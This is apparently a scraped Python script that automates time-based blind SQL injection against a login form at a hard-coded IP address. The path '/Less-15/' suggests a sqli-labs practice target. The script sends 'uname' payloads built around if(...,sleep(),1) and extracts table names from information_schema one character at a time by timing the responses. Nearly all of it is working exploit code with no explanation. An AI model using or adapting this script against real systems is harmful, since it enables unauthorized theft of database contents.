1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import requests import time value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!" result="" def get_length(): for n in range(1, 100): payload = "admin' and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n) data = {"uname": payload, "passwd": "admin", "submit": "submit"} start_time = time.time() html = requests.post(url, data=data) end_time = time.time() use_time = end_time - start_time if use_time > 3: print("...... data's length is :"+ str(n)) return n def get_data(length): global result for n in range(1,length): for v in value: payload = "admin' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload,n,ord(v)) data = {"uname":payload,"passwd":"admin","submit":"submit"} start_time = time.time() requests.post(url,data=data) end_time = time.time() use_time = end_time - start_time if use_time >4: result += v print("......"+result) url = "http://43.247.91.228:84/Less-15/" data_payload ="select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()" length = get_length() + 1 get_data(length) print(".....data is :"+ result)
|